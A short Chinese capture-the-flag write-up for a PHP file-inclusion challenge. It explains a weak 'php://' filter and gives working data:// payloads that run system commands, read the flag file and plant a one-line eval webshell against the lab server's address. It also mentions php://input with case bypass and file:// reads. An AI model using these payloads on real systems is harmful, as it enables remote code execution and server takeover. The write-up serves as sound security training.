• Web_php_include


    一.代码解析

    <?php
    show_source
    (__FILE__);
    echo 
    $_GET['hello'];
    $page=$_GET['page'];
    while (
    strstr($page"php://")) {
        
    $page=str_replace("php://"""$page);
    }
    include(
    $page);
    ?>

    是php的代码,已经不陌生了,说一下关键的;hello变量可以接收GET过来的数据,同样page变量也可以;一个while循环,使用函数 strstr();

    strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。

    其中,str_replace()函数就代替strstr()函数中的字符串为空格。

    二.解决方法

    方法1:利用php的伪协议

    payload1:   http://111.200.241.244:61218/?page=data://text/plain,<?php%20system("ls")?>

    payload2:   http://111.200.241.244:61218/?page=data://text/plain,<?php%20system("cat fl4gisisish3r3.php ")?>

    查看网页源码,

    方法2:根据pph://input 进行参数传递,传递想要的命令。注意大小写绕过。

    方法3:利用file://协议,前提是要知道文件的绝对路径。

    将源码中的base64加密的字符进行解密就可以了。

    方法4:利用data:// 伪协议,进行php一句话木马的连接。

    exp:http://111.200.241.244:61218/?page=data:text/plain,<?php eval($_POST['pass']);?>

    欢迎一起交流。
  • 相关阅读:
    C++ 字符数组函数与string函数
    std::vector介绍
    DirectX开发环境配置
    基于序列图像的三维体绘的视线投射算法
    关于灰度图和彩色图
    cin函数的一点理解
    两个getline 输入带空格的字符串
    彩色图转灰度图的原理和参考源码
    牛顿迭代法求一个数的平方根
    约瑟夫环问题
  • 原文地址:https://www.cnblogs.com/huazige/p/15035076.html
Copyright © 2020-2023  润新知